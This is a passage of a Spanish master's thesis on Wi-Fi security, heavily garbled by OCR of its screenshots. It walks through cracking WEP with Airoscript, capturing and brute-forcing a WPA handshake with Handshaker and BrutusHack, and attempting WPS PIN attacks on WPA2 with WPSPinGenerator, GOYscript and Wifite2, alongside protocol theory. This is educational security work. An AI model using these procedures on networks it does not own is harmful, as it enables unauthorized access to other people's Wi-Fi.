
Ahora seleccionamos el objetivo que queremos atacar

airoscript : airoscript-rali : - Konsole
Archivo Edtar Ver Marcadores Preferencias Ayuda
A Listado de APs Objetivo

MAC CN SEG #PAQ SSID

F4:F2: 13 WEP MIWIFI

Selecciona Objetivo> 1

Y si tenemos clientes conectados, que en este caso teniamos dos, le

marcamos la opcion 1.
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airoscript : aroscript-rali 1 - Konsole

Editar “er Ma s Preferencias Ayuda

JSELECCTIONAR UN CLIENTE?

1) 5i
2} No
3) Corregir el S5ID Primero

#= 1

Aqui podemos seleccionar 4 opciones: si queremos seleccionar los clientes de
un PA o de todos los PA, si desea desautenticarlos a todos y volver a detectar clientes
0 si queremos introducir la direccion MAC del cliente en concreto, marcaremos la 3

para detectar a nuevos clientes.

e airoscript : airoscript-rali :

- Konsole
Archivo Edttar Ver Marcadores Preferencias Ayuda

~ SELECCIONA EL CLIENTE

Clientes detectados del AP objetivo

Clientes detectados de todos los APs

Realizar desaut. masiva al AP objetivo + redetectar sus clientes
Introducir manualmente MAC de un cliente

airoscript : airoscript-rali : - Konsole

Archivo| archivo Editar Ver Marcadore Preferencias Ayuda

- ~
SELECCIONA CLIENTE

Carpeta

’ 1) 1C:5C:F2:A6:8C:1D, 4) 00:17:C4:DC:AC:80, 7) 98:E7:F5:3D:8E:24,
> bC  2) 60:36:DD:57:A1:A7, 5) 7C:70:BC:0C:DB:3C,
> 3) 66:E3:27:C3:04:FE, 6) 1C:5C:F2:4E:97:D8,

#:

>

Seleccionamos al cliente 1 y nuevamente nos aparece el menu inicial:
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Archivo

Ee

Archivo

INFO AP

MENU

1)
2)
3)
4)
5)
6)
7)
8)
9)

#>

vO

Editar

Marcadores

Ver
Chipset/Driver
Tu MAC

OBJETIVO

SSID

Canal
Velocidad

MAC del AP

MAC de cliente

PRINCIPAL

Escanear
Seleccionar
Ataques

Crackear

Auto

Desautenticar
Inyeccién

Opciones Avanzadas
Salir

£ |

siroscript : airoscript-rali : - Konsole

Preferencias  Ayuda

= Ralink RT2870/3070 -

00:0d:00:02:92: 8e

MIWIFI
13

54 Mbps
EHYH
1C:5C:

-Buscar Objetivos
-Seleccionar Objetivo
-Atacar Objetivo

-Menu Crackear

-Buscar Key Automaticamente
-Desautenticar del Objetivo
-Menu de Inyeccién
-Utilidades Varias

-Cerrar Airoscript

Master Universitario en Seguridad Informatica

»>

—

airoscript : airoscript-rak : - Konsole

Edtar Ver Marcadores Prefe

ATAQUES SIN CLIENTES

ATAQUES

Lugares

B Carp
Red
Raiz

8 Pape

WIFIS
O wiFis

Marcamos la opcion primera que es

INYECCION SI

Falsa auth => Automatica
Falsa auth => Interactiva
Fragmentation

Chopchop

Cafe Latte

Hirte

1)
2)
3)
4)
5)
6)

USANDO UN CLIENTE
7)
8)
9)
10)
11)

ARP replay => Automatico
ARP replay => Interactivo
Fragmentation

Frag. attack con cliente
Chopchop

SE GENERA EL XOR

12) ARP inject desde xor (PSK)
13) Volver al menu Principal

&>

autenticacion. Ahora empieza el ataque:
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Player = * o o =h oS & g k&l

T

CH 13 ][ Elapsed: 2 mins ][ 2016-09-16 12:47

BSSID PWR RXQ Beacons #Data, #/s CH MBE ENC CIPHER AUTH ESSID
-8 4 1129 148359 235 13 S5d4e. WEP WEP OPN MIWIFI
STATION Rate Lost Frames Probe
00:0D:B0:02:92:8E g -1

0
60:36:00:57:AL:AT S54e-5de 69
98:E7:F5:3D:8E:24 - MIWIFL

Asociando Con MIWIFI

Luego, cuando lleguemos a unos 5000 #data, podemos cortar el proceso con
CTRL+C, y volvemos al menu para seleccionar la opcion de crackeo (4). Tras varios
minutos, saca la contrasefia y la almacena en un la ruta
/root/swireless/airoscript/capturas/MAC-01.cap:

-~ Aircrack PTW contra MIMWIF,

Opening Sroot/swireless/airescript/capturas/F4:F2-
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 376111 ivs.

a7
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°®

¥ Carpeta personal
¥ Red

Raiz
@ Papelera

T55.6 M libre

4.2 Protocolo WPA

4.2.1 Definicion

El protocolo WPA [21] (Acceso Protegido a Wi-Fi) es un sistema mucho mas
robusto que WEP. Fue implementado en el afio 2003 por la Wi-Fi Alliancel y el IEEE
dentro del estandar IEEE 802.11i. Es importante resaltar que su introducciéon al
mercado no trajo consigo problemas de incompatibilidades con el resto del hardware
del mercado (tarjetas de red, puntos de acceso), ya que todo estaba funcionando bajo

el cifrado proporcionado por el algoritmo simétrico RC4 del protocolo WEP.

Como el protocolo anterior suscité tantos problemas de seguridad, el principal
cometido de WPA era el de mejorar todo lo relacionado a ésta y cubrir todas las
carencias de seguridad del protocolo nativo de 802.11, WEP. Evidentemente, WPA no
va a proporcionar la seguridad total de los sistemas del medio inalambrico, ya que, en
muchos casos, dependera del usuario final; pero si que nos aportara importante
mejoras respecto a WEP. El protocolo WPA se utiliza tanto en casas como en oficinas

0 grandes organizaciones.
Sus caracteristicas fundamentales son:

> El aprovisionamiento de las claves dinamicas

> Un VI (vector de inicializacion) mucho mas consagrado y fuerte
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> Integra nuevos meétodos para garantizar la autenticidad.

4.2.2 Mecanismo de autenticacion

El método de autenticacion de las estaciones en el protocolo WPA se podria
considerar como una de las principales causas por las que las personas no
autorizadas vulneran la seguridad de este protocolo. Dependiendo del entorno de
aplicacion, se pueden utilizar dos métodos para autenticar de forma distinta. Son
WPA-PSK (Clave pre-compartida) y WPA EAP (Protocolo Extension de Autenticacion)
[22].

En las casas de los usuarios y en las pequefias empresas se suele utilizar
normalmente WPA con autenticacion IEEE802.1X [23] y WPA-PSK. Este modo es
denominado “HomeMode” o PSK. En PSK se usa las claves que no son generadas
automaticamente y si manualmente; ya que al usuario de casa le resulta mucho mas

facil. En EAP se cuenta con un servidor automatico centralizado.

Para que el usuario disponga de internet Unicamente debera de ingresar una
clave con un tamafio comprendido entre los ocho y los sesenta y tres caracteres. Esta
sera la clave maestra; y se debera meter en el punto de acceso o en el rater de casa.
Después, deberé introducirla en todos aquellos dispositivos que se quieran conectar a
la red. Si cualquier dispositivo quiere acceder a la red, en él también se debera

ingresar esta contrasefia.

Asi solo tendran acceso los dispositivos conocedores de la clave y se protegera
a la red de la intrusién de posibles atacantes que no estén autorizados. Como segunda
medida de seguridad, se hablara mas adelante del protocolo TKIP (Protocolo integrado
con clave temporal) [24] que basicamente se encargara de establecer un acuerdo para

cifrar y mantener la integridad de los datos mediante claves temporales.

El protocolo WPA muestra mejores sintomas de seguridad que WEP. Muestra
de ello es que no debemos de confundirnos con la contrasefia preestablecida que
todos los dispositivos comparten a modo de autenticacion y la clave que se usa para

cifrar la informacion, que son diferentes para todos ellos.

Como se ha comentado anteriormente una de las mayores diferencias entre
ambos protocolos es el uso del TKIP, con el que se utilizan distintas claves temporales

con el objetivo de cifrar el payload. Para impedir que un agente externo no autorizado
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consiga la clave de sesion utilizada en los puntos de acceso o estaciones, el protocolo

regenerard continuamente las claves cada cierto tiempo.

Primeramente no utilizaremos ni la clave para cifrar los paquetes de
informacién ni la que se usa para autenticar al cliente en el punto de acceso. A partir
de la PSK, se realiza la primera llamada con PMK (Primera clave master) y se origina
un mecanismo de manipulado. Da lugar a una cadena de 256 bits (PMK). Esta se
origina por la funcion matematica PBKDF2, que recibe como parametros de entrada: la
contrasefa pre-compartida, el ESSID del AP, la longitud del ESSID, y la salida de la
ejecucion de 4096 procesos. La funcion matematica PBKDF2 es la que se encarga de
producir la PMK de 256 bits.

PMK = PBKDF21 (Frase secreta, ESSID, Long(ESSID), 4096, 256)

Después de la consecucion de esta clave, empieza a ejecutarse el mecanismo
de autenticacién con el punto de acceso. Este proceso recibe el nombre de saludo

inicial o agarre de manos (handshake). A continuacion se muestra:

O . =

PMK PMK
] SNonce aleatorio I ' EAPolL-Key I ANonce Aleatorio I
ANonce + AP RSN |E
La estacion deriva 2 Pl
la PTK Autenticaci 1 de mensaje
isando la KCK
EAPolL-Key
SNonce + MIC + STARSN IE
EIAP deriva la PTK,
inicializa la GMK
y calcula la GTK
_ EAPol-Key
Sincronizacion MIC + GTK encriptada + AP RSN IE | GTK encriptada
entre entidades usando la KEK
antes de la encriptacion EAPol-Key ACK
MIC
@1’,“’;” ,\-“j@
Instalacion P 802.1X puerto controlado abierto | Instalacion
PTK y GTK PTKy GTK
Pairwise key expansion »,
1¢) || Max (AP ¢) 1]

|| Max {(ANonce, SNonce))

Figura 8: Saludo inicial del Handshake

Seguidamente, el cliente y el PA generan los valores de PTK y GTK, que son

las claves que se utilizaran para cifrar los paquetes de informacion. Deben de ser
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distintas en las sesiones. La funcion PRF-X se encargard de generar estas nuevas
contrasefas a partir de los siguientes elementos:

PMK: obtenida como se ha explicado anteriormente.

SNonce: Numero aleatorio fijado por el cliente.

ANonce: Numero aleatorio fijado por el PA.

Direccién MAC del PA: direccién MAC del punto de acceso

YV V VYV VY V

Direccion MAC del cliente

Explicamos el proceso como sucede. Al instante, el cliente se comunica con el
punto de acceso enviandole un paquete “EAPOL start”. A continuacion, el punto de
acceso y el cliente se intercambian los nimeros aleatorios. El PA le envia el “ANonce”
y el cliente le remite otro numero aleatorio “SNonce”. Ahora las dos entidades son

capaces de crear su PTK con la que cifraran la informacion.

El punto de acceso también se encuentra en condiciones de crear la GTK
cifrada y transferirla al cliente. En Ultima instancia, para cerrar el proceso de
autenticacioén se envia un paquete de reconocimiento. En la figura anterior se puede
apreciar el intercambio de mensajes cifrados que se produce entre la estacion y el PA

para permitir las operaciones descritas y el posterior calculo de la PTK.

Inicialmente enumeramos dos métodos de autenticacion, WPA-PSK y WPA-
EAP. El segundo método es utilizado en entornos empresariales grandes donde se
necesita un mayor control de seguridad tanto en los mecanismos de cifrado como en
los de autenticacion. Por eso se utiliza IEEE802.1X y EAP. Ambos estan configurados
con claves dinamicas. EAP [26] es un protocolo que se usa para la transmision de los

paquetes entre el periférico del cliente y el PA.

El estdndar IEEE802.1X engloba los mensajes EAP. Si se establece una
contrasefa fuerte, es bastante dificil que se pueda vulnerar a este estandar y a este
protocolo. Su unién y el disefio de cifrado componen un mecanismo de autenticacion
bastante robusto. En este caso, se basa en un servidor de autenticacion centralizado
(RADIUS). Existen otros como Didmeter, que es una evoluciébn de RADIUS con

mejoras respecto a la fiabilidad y la escalabilidad.
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4.2.3 Mecanismo de cifrado

Respecto al cifrado [27], los desarrollos de WPA intentaron de solventar las

vulnerabilidades conocidas en el protocolo WEP. Afiadieron nuevas mejoras.

La generacién de nuevo un vector de inicializacion de 48 bits frente a los 24
bits de WEP, y se introdujeron algunas parametros de secuenciacién para la

numeracion.

Ademéds, se incorporaron meétodos que facilitaron la transferencia y la
disposicion de las claves. Debido al intercambio de los nUmeros aleatorios, se podran

evitar métodos de ataques del tipo “MITM”.

Como hemos dicho anteriormente, WPA usa TKIP como método de cifrado, y
aungue se basa en el RC4 como WEP, tiene la ventaja de que radica el inconveniente
de compartir claves estéaticas. Ademas, TKIP aumenta el tamafio de las claves pares y
las claves en grupo pasando a cifrarlas con 128 bits. Los clientes que estan dentro de
la red no comparten estas claves, evitando asi bastantes riesgos por la posible

filtracion de ellas.

El protocolo de cifrado TKIP tiene una entrada de 128 bits, la cual es
compartida por todos los usuarios y los puntos de acceso. Para producir la calve que
cifrara los datos, es necesario que se concatenen la clave temporal TKIP, la direccién
MAC del cliente y el vector de inicializaciéon (VI de dieciséis bits). De esta manera,

todos los clientes usaran claves distintas para el cifrado.

TKIP obliga a que se cambien las claves entre el usuario y el punto de acceso
para cada paquete de informacién transmitida. Se utiliza un algoritmo denominado
“Hash” o de mezclado a los valores del vector de inicializacion, es decir, que para que

sea mas dificil saber el valor del vector, se cifra todo su contenido.

Hay que resaltar que la modificacién de la clave de cifrado esta sincronizado
entre ambas entidades. Todas estas medidas de seguridad asi como la gestion de
paquetes de datos con lleva una sobrecarga en la gestién de la comunicacion
(Overhead). Es una de las posibles desventajas que podriamos resaltar de WPA pero

es totalmente necesario.

En el protocolo WPA también se implementa, pero con mayor robustez, el
control de integridad de mensaje. Para comprobar que un paquete no ha sido

modificado por una estacién no autorizada, WPA incluye una funcion denominada

52
Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi



José Javier Navas Carrasco Master Universitario en Seguridad Informatica

MIC: es el Hash criptografico que sustituye al CRC-32 del protocolo WEP. “MIC” ofrece
un procedimiento matemético de bastante robustez que deben ejecutar tanto el

receptor como el transmisor.

Seguidamente, se comparardn ambos resultados, y, si no coinciden los datos,
se entenderd que son corruptos y se eliminara el paquete. De esta manera, el
protocolo TKIP impide que un atacante o usuario no autorizado pueda alterar la

informacién que se transfiere en el interior de un paquete.

4.2.4 Metodologia del funcionamiento WPA

Ya hemos descrito paso a paso todo el proceso de autenticacién en el
protocolo WPA, que en resumidas cuentas es un punto débil del protocolo. En breve

vamos a ver mecanismo de cifrado de una trama de datos.

1. Lo primero en realizar es la creacion del IV (comenzando en cero) identificativo del
paquete que se quiere enviar. Después se ejecutara el algoritmo de cifrado RC4 y dara

lugar a una salida.

2. La funciobn PNRG se encargara de generar la cadena encargada de cifrar la

informacion (Keystream).

3. Luego, el MIC (algoritmo de control de integridad) se ejecutara tomando como
parametros de entrada: la direccion MAC origen, la MAC destino, la prioridad del

paquete y los datos a transmitir.
4. Después, de la salida producida por MIC, se calcula el ICV (un CRC-32).

5. Seguidamente se produce la funciéon XOR entre la tupla formada por los datos, el
MIC y el ICV; junto con la cadena de cifrado que se originé en el algoritmo PNRG

(Keystream).

A continuacién se muestra una imagen del mecanismo de cifrado:
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IV. DA, Data encryption key

DA+SA+Priority+Data, Data integrity key

v

Mich me
____________ . I—

[ 1
IV, Per-packet encryption key

,_I_
PRNI ——» Key stream F{—‘ DatatMICHICV ——

(602 11 neacer] [ v Jome] e«v [ o MG O

B02 11 trailer

| —

- Encrypted

x
-3

Figura 9: Cifrado de una trama con WPA.

Para realizar el proceso inverso de descifrado de la trama, se llevaran a cabo

los siguientes pasos:
1. Se extrae el IV y la direccién de destino que son concatenados con la clave PTK.

2. El algoritmo PNRG toma como entrada la cadena resultante del paso anterior, para

dar lugar a la clave de cifrado de paquete.

3. Luego, entre los datos cifrados y la calve de cifrado (generada en el paso dos) se
realiza la funcién XOR.

4. Al final, se ejecuta “MIC” (verifica la integridad) al resultante del paso tres, que seria

la informacién descifrada.

El proceso se concibe en la siguiente figura:
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Key ’
‘ mixing ‘ ‘ DA+SA+Priority+Data, Data integrity key

; !

[ [
IV, Per-packet encryption key

>
PENG #» Key stream J Encrypted[Data+MIC+ICV) ‘

Figura 10: Descifrado de la trama 802.11 mediante WPA

4.2.5 Ataque al protocolo WPA

Hoy en dia existen numerosas herramientas que nos demuestran las
vulnerabilidades que se pueden explotar en el protocolo de seguridad WPA. Caben
destacar algunas como: Handshaker, BrutusHack, Airoscript, GOYScript Wpa,

Minidwep-gtk. Todas ellas residentes en Wifislax.

En este ataque se obvia los pasos iniciales del ataque WEP puesto que son
idénticos y se detallan a continuacién los pasos a seguir para conseguir la contrasefa

del punto de acceso. Utilizaremos las herramientas: Handshaker y BrutusHack.

Se deben ejecutar en el siguiente orden: primeramente Handshake para sacar

el Handshake y posteriormente, BrutusHack.

Lo primero es seleccionar la tarjeta (wlanO)
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Player ¥ v ooy 1 ':1 » d e ?‘5‘1 "'.‘6 r:ﬁ dn =

ae Handshaker : sh : - Konsole

Archeivo Editar Ver Marcadores Preferencias Ayuda

Se han detectado las siquientes interfaces

1) wlan® Ralink

Una vez seleccionada, se arranca automaticamente airodump-ng para hacer un

escaneo de las redes y de los dispositivos/clientes que estan conectados a ellas.

e airodump-ng

Archivo Edtar Ve )
3 Elapsed: 4 mins ][ 2016-09-16 18:49

Se han detec BssID PWR Beacons #Data, MB ENC CIPHER AUTH ESSID

F4:F2:° -18 1436 54e. WPA TKIP PSK MIWIFI
60:E3:27:C3:04: -46 0 S4e. WPA2 CCMP  PSK <length: o>
1) 8C:34:FD:55:76: -56 125 S4e. WPA2 CCMP PSK Orange-7689
3E:D9:54:31:BE: -68 S54e WPA CCMP PSK JAZZ DIEGO
98:97:01:31:36: -70 0 S4e WPA2 CCMP  PSK MOVISTAR_3600

BSSID STATION Rate Lost Frames Probe

F4:F2: 60:36:DD:57:A1:A7 - 54e-54e MIWIFI
F4:F2: 7C:70:BC:0C:DB:3C Sde- 1 jacana, prueba
F4:F2: g g - 54e-54e
F4:F2:. : . - 18e- 6 prueba
8C:34:FD:55:76: g 2 - Oe- le

Iniciando e 8C€:34:FD:55:76: $78203:373F9:3 o 0-1

Cortamos el proceso después de un minuto aproximadamente, para que le
haya dado tiempo a reconocer todos los clientes conectados a la red. Si nos marca
con * significa que hay clientes en esa red, hay trafico de datos y por lo tanto sera mas
facil descifrar la clave.

Player ¥ vy oop = » —d d 5§ e Ld B

2 e Handshaker : sh : - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda

3 g 3E:D9:54:31:BE:53 % JAZZ DIEGO
75 fog F4:F2: 3 MIWIFI
3)* 98 MOVISTAR

4)* 8C: H 3 44% Orange-7
S) 60:E3:27:C3:04: (Red Oculta)

(*) Red con Clientes

A continuacion nos da a elegir entre 5 ataques, seleccionamos el primero:
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una de Los siguid es atagqu

Escoge una opcion : 1

El ataque progresa de la siguiente manera hasta que arriba en la parte derecha

nos devuelve el handshake.

piayer ¥ A = - T = R Y, ? g Td T % L © =l
N ]
e

Archivo Editar Ver Marcadores Prefere
A CH 13 ][ Elapsed: 6 s ][ 2016-09-16 18:53
BSSID PWR Beacons #Data, #/s (H M8 ENC CIPHER
F4:F2: -2 70 960 94 13 S54e. WPA TKIP
Escoge entre uno de los sigquier gssip STATION PWR Rate Lost Frames

98:E7:F5:30:8E: 0 18e- 1 772
60:36:D0:57 -18 0 - 6e o
7C:70:8C:0C =20 Sd4e- 1

4

4
1C:5C:F2:A6:8C: -38 S54e-2 1326

2

directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC: [98:
directed . STMAC:
directed . STMAC:
Sending directed . STMAC:
Sending directed . STMAC:
Sending 64f)

Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
S eSC i . Sending
Has escogido : Sending
Sending

Sending

Capturando Datos y Esperando H: Sending
Sending

Sending

Sending

Desautenticando cliente 98:E Sending

Escoge una opcion : 1

222202222222 222222|
R e I

Ya consiguié el handshake y lo guard6 en la ruta: /opt/Handshaker/handshake/

como muestra las siguientes imagenes:

Handshakar : bash :

Ayuda
SEGUIDO

tra en la ca eta handshake H

La ake ak MIWIFL
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£ vista previa u Modo

® v + Inform

Una vez conseguido el handshake, copio el archivo .cap

/opt/brutus, para que la herramienta BrutusHack lo pueda utilizar.

Brutus - Dolphin
Ayuda

Brutus

1.1 GiB hbre

Selecciono la opcién 6

o e Brutus : sh : - Konsole
Archivo Editar Ver Marcadores o ncia Ayuds
~

Opciones disponibles:

1)
3)
5)
7)
9)
11)
13)
15)
17)
19)

) Stop&Go System

~ Introduce una opcion y pulsa ENTER
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Y creo el diccionario metiéndole los caracteres nimeros en sus 8 posiciones:

Brutus

Freferencias

Introduce una opcion y pulsa ENTER

Has elegido la opcion

Introduce
Introduce
Imtr ce
Introduce
Introduce
Introduce
Introduce

~ Inmtroduce

Los caracteres
los caracteres

aracteres
Los caracteres
Los caracteres
Los caracteres
Los caracteres

Los caracteres

para La
para la
para Lla
para La
para Lla
para La
para Lla

para La

primera posicion sinm espacios: @12
segunda posicion sin espacios: 676
tercera posicion sin espac : Bl12
cuarta posicion sin espacios: 678
quinta posicion sin espacios: 896
cta posicion sim acios: TBH9
septima posicion sin espacios: 012

o1z

e -1 T T—

Selecciono la opciéon 1 para el ataque:

Selecciona una de las siguientes opciones

1)
2)
3)
1)
5)
6)

7)

(CPU,

(CPu)
GPU)
(GPU ATI)
(GPU NVIDIA)
(GPU ATI)

(GPU NVIDIA)

Introduce una opcion y pulsa ENTER

Tras un tiempo recorriendo el diccionario, se obtiene la contrasefa:

Editar

vier Marcadores Preferencias

[00:00:01] 928 kKeys

tested (669.24 Kk
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4.3 Protocolo WPA?2

4.3.1 Definicion y mecanismo de autenticacion

En el afio 2004 la alianza Wi-Fi publico el protocolo de seguridad WPA2. WPA2
es el desarrollo que la Wi-Fi Alliance aprueba para interoperar con el estandar
IEEE802.11i.

Se comentaba afios atrds que los productos con WPA eran los mas seguros y
los mejores, pero la realidad no es esa. Existen muchas empresas y organizaciones
gue deseaban las certificaciones que ofrece WPA2 respecto a la norma 802.11i. Lo
hacen porque han necesitado el cifrado AES [28] o bien por razones internas o,

simplemente, para tener mayor seguridad.

WPAZ2 esta fundamentado en su hermano anterior WPA, son compatibles; pero
la principal diferencia es que el nuevo protocolo resuelve estas necesidades
comentadas anteriormente, esta creado con el objetivo de satisfacer las necesidades

mas exigentes de las organizaciones.

Las similitudes entre IEEE802.11i y WPA2 son muchas. Ambos utilizan como
codigo de cifrado AES/CCMP y obvian al antiguo algoritmo de cifrado RC4/TKIP de

WPA. Entre ellos hay 2 diferencias fundamentales:

1. Para que WPA2 pueda ser compatible con WPA, habilita el funcionamiento con el
protocolo TKIP y CCMP.

2. WPA2 no tiene los servicios de voz inalambricos ofrecidos por IEEE802.11i, lo que

implica la pérdida de datos en el roaming.

La principal diferencia entre WPA2 y WPA es que el primero utiliza como
mecanismo de cifrado mas avanzado AES, al igual que IEEE802.11i. De todos modos,
ambos protocolos de seguridad son compatibles, de ahi que algunos dispositivos que
utilizan protocolo WPA puedan ser actualizados a WPA2 con la instalacién de un
software especifico. Pero otros, en cambio, debido a la estructura del mecanismo de

cifrado requerido por AES; requieren de un cambio en el hardware.

WPA2 acepta los dos mecanismos de autenticacion: si es para las casas de
tipo personal (PSK) o si es para las organizaciones empresariales (IEEE802.1X/EAP).
Hoy en dia, las organizaciones del IEEE y la Wi-Fi Alliance pretenden agrupar WPA2 y
IEEE802.11i.
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Respecto a la autenticacion, el protocolo de seguridad WPAZ2 utiliza los mismos

gue para WPA.
4.3.2 Mecanismo de cifrado

Todo el mecanismo de cifrar informacion es muy parecido al ya visto en el
protocolo WPA, cumple las normas del estandar IEEE802.11i. La gran diferencia entre
WPA 'y WPA2 es el avance de su algoritmo de cifrado. RC4 (utilizado por WEP y WPA)
es reemplazado por AES. Este consiste en cifrar bloques de clave simétrica
empleando grupos de bits con un tamafio fijo. Para el cifrado y descifrado de la

informacion, se emplea la misma clave simétrica/maestra.

Con AES, las tramas de datos se cifran en blogues de 128 bits independientes.
AES es un mecanismo de cifrado mucho mas robusto y con mayor nivel de fortaleza

gue el de sus hermanos.

4.3.3 Ataque al protocolo WPA2. Reaver

Antes de tratar las herramientas que se pueden utilizar para atacar las
vulnerabilidades de este protocolo es necesario que os hable del protocolo de

seguridad que usa y algunos otros detalles que paso a describir a continuacion:

» Definicion de WPS

Wifi Protected Setup [29] es un estandar generado por la Wi-Fi Alliance, que
para crear redes inalambricas mas seguras. Como en las casas y en las pequefas
empresas cada vez es mas facil vulnerar los puntos de acceso, crearon WPS con el fin
de mejorar la configuracion de estos PA Y facilitarle asi el trabajo a los
administradores de los dispositivos.

WPS permite que los dispositivos que quieran acceder a la red consigan las
credenciales requeridas por el sistema de autenticacion.

Para que el sistema WPS funcione, es necesario que los 3 componentes de la

arquitectura de WPS realicen sus funciones correctamente:

» Registro: es un dispositivo que crea o elimina las credenciales necesarias para
todo el proceso. Puede ser un AP u otro cliente.
» Enrollee: es el dispositivo que desea entrar en la red inaldmbrica.
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» Authenticator: es el punto de acceso que actua como pasante entre los dos

anteriores.

Para la transferencia de las credenciales, WPS lo puede hacer de varias

formas:

» Mediante PIN (Numero de ldentificacion Personal): es un nimero que tiene un

tamafio de 4 a 8 digitos. Lo tienen que saber tanto Registro como Enrollee.

Pin 12345678

(wps) (CCCCcOM)

o

Figura 11: Configuracion WPS por Pin

» Mediante PBC (Configuracion del Botébn Empujar): en uno de los ataques se
hizo esta prueba y es que durante el tiempo en el cual se pulsa el boton wps
del punto de acceso, todos los dispositivos que hayan alrededor se pueden
conectar a la red.

l I (wps) (O ()
\_/ >> ciave. SSD_ 3> \_~

Figura 12: Configuracion WPS por PBC

» Mediante USB: mediante un usb por ejemplo, o cualquier otro tipo de
almacenamiento externo se pueden transferir las configuraciones del
dispositivo Registro a uno Enrollee.

De todos modos, hace ya unos meses se han encontrado vulnerabilidades en

el sistema WPS.

Explicado esto, ahora procedemos a enumerar algunas de las herramientas
que se pueden utilizar para reflejar las vulnerabilidades del protocolo WPA2 pueden
ser: BullyWPSdialog, GOYscript WPS, PixieScript, WPS-Scanner, WPS PinGenerator,
QtWPSPIn, Minidwep-gtk o Reaver [30].
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El tipo de seguridad al que nos enfrentamos en WPAZ2 en este caso con cifrado

AES y sistema de WPS por Pin. Empezaremos con la herramienta WPSPinGenerator:

e e O T = .3

ors ZhaoChunshenog work & kocditw scripoc ==

e de datos: 20015 LG2

Buscar objeriwvos comn WPS actiwvado

Probar PLIM gen = Leulado por  algos it

Probar Todos L = f Fuse r=a bDrwtal
Selec

Sa e

ptibles de atague con REAVER
Algoritme Genérice Lock Senal Canal ESSID

NO HO MO e JAZZ DIEGD
NO £t MO HOVISTAR

HO HO MO 3 Orange=76589
HO MO MO jacana

NHO MO MDD MIWIFI

U] Versocultar fTabricantes
[ )] Volwer al mend

==> Seleccione una red

Después de seleccionar la red 1 y probar el método dos para probar con el pin
genérico o calculado por un algoritmo, empieza el ataque que termina afirmando que

el pin no es el correcto y que no ha podido obtener la clave WPA2:

Frobamdoe con algoritmsos ComputePTIMN. - . (Tt L+C para detemer)

chamme L 11
From IE:D9;:
sS4 FA = _ - JLJ'_H'_IZI!I'-L-I]:-
1 +a
@ EAPDL START (ol [WE L
identity reguest
fidentity respomnse
mceiwed ML messaqge
Sending M2 e e
Receivwed M3 message
Sernding M4 eessage
Receiwved WSO MNACK
Sernd inag WSO PMAC K
Ouittimg after 1 crack attempits
Failed to recowver WPA key

PTEb bbb R bbbt

Ahora probamos con el método 3, que prueba con todos los pines que pueda

por fuerza bruta, pero el AP se bloquea por un limite de tiempo de 60 segundos.

}

e e P

==ttt idtidb bbb bbb tttss

i b

* rate Limiting. waiting &a
AF rate Limiting. waiting &0

)
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De nuevo probamos con otra red con el método de prueba por pin con fuerza
bruta, y observamos cémo va probando todos los pines posibles a medida que

aumenta el porcentaje de coincidencia con el pin valido.

: Ox@2), re-tryimg Last pim

L
START request
rity reguest

o ur recl

[
L
L
|
L
[
L
L
I
L
L
L
L
L
L
L
L
L
L
L
L
L
L
L
L

whmpdhpdmp bbb bbb mbmigy

o b i e o o

Pmag WSO
transaction failed {(code: OxO02) ., re-tryimng Last pimn

Después de varios intentos, el AP se bloquea; impidiendo seguir realizando el

ataque:

= Ox02), re-trying Last pin

ing EAPOL STAR
iwed identity
or

P4+ 4444ttt tde=4

AP rave Limini waiting 60
ed AP rate Limin waiting 60
AP rate Limit g, waiting 60

s siguientes redes son susceptibles de ataque con REAVER

BSSID Agoritmo Genérico Lock Senal Canal ESSID Fabricante

'x) 2F% | MOVISTAR 36080 Desconocido

NO ¥ 11 INEE_DIE GO Descanoc ido

HO % Orange=7r689 HUAWEL TECHNOL
HO (null}) TP-LINK TECHNO
HO 3% HIWIFI

Empleando la herramienta GOYscript WPS: realiza primero la comprobacion
de validez del pin generado precisamente por WPS PinGenerator, el cual es
incorrecto. Se puede comprobar como tienen una base de datos en la que recogen las
direcciones MAC vy los pines. Al resultar fallido, realiza el ataque de pines por fuerza

bruta; pero tras un tiempo ejecutandose se vuelve a bloguear el punto de acceso.
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L : : (oull))
Encriptac WPA2-CCHP (WPS activado) Probando pin 12345
Fabricante., ++ TP=LINK TECHNOLOGIES CO,,LTD, [+] Enviando solicited WPS (EAPOL START)

[+] Recibida solicited de identidad

[+] Enviando respuesta de identidad

[+] Recibido mens 1
GOYscriptWPS 3.4-beta by GOYfilms ] Enviando mensaje M2
Recibido mensaje M3

Enviando mensaje M4
Recibido WSC NACK
Atacando la red (null)...

olicited WPS [EAPOL START]
AVISO: Tiespo de espera agotado
Enviando solicited WPS [EAPOL START]

]
]
]
]
]
Iniciando ataques con pin especifico... }
1
] Recibida solicited de identidad
]
1
]
]
1
]
1
]

Probando pin 27807989 generado por WPSPinGeneratorMoD..
Enviando respuesta de identidad
05« @ > Recibido mensaje M1

BASE DE DATOS: 71 MACs y 181 PINs. Enviando sensaje K2
Recibido mensaje M3

Enviando mensaje M4

Recibido WSC NACK

Enviando WSC NACK

AVISO: AP bloqueado, esperando 61 segundos antes de reintentar

[+
I+
I+
i+
[+
[+
I+
i
(+
[+
I+
i+
[+
[+
[+
i+
I+
{
]

Iniciando ataque estandar (fuerza bruta)...

PINs probados 3 (EL Gltimo hace 15 segundos)
PINs restant : 10998
: 0
segundos/pin

Continuando con WIFITE2: observamos como escaneo de redes hay algunas
gue si tienen clientes conectados, algo primordial para agilizar el atague; ya que en
caso de no haberlos, no habria transmisiébn de datos en la red y el WPS se
desactivaria. Escogemos la red 3 para intentar el atague con WPS PIN Attack pero no
resulta satisfactorio. Luego por fuerza bruta, consigue el handshake; aunque no le

sirve de mucho porque el AP se bloguea igualmente.

NUM ESSID BSSID CH ENCR POWER WPS? CLIENT

[+] select ) separated by commas, or °*

[+] target selected,

[0:00:00)] initializing on
~C0:05:12] WPS attack, /0 success/ttl,

[0:08:20) starting

[0: 19] found:

[O: found:
3 found:

Utilizando la herramienta QtWPSPin: en este caso, esta herramienta se sirve
de la herramienta Reaver que mas tarde revisaremos. Su interfaz es la abajo
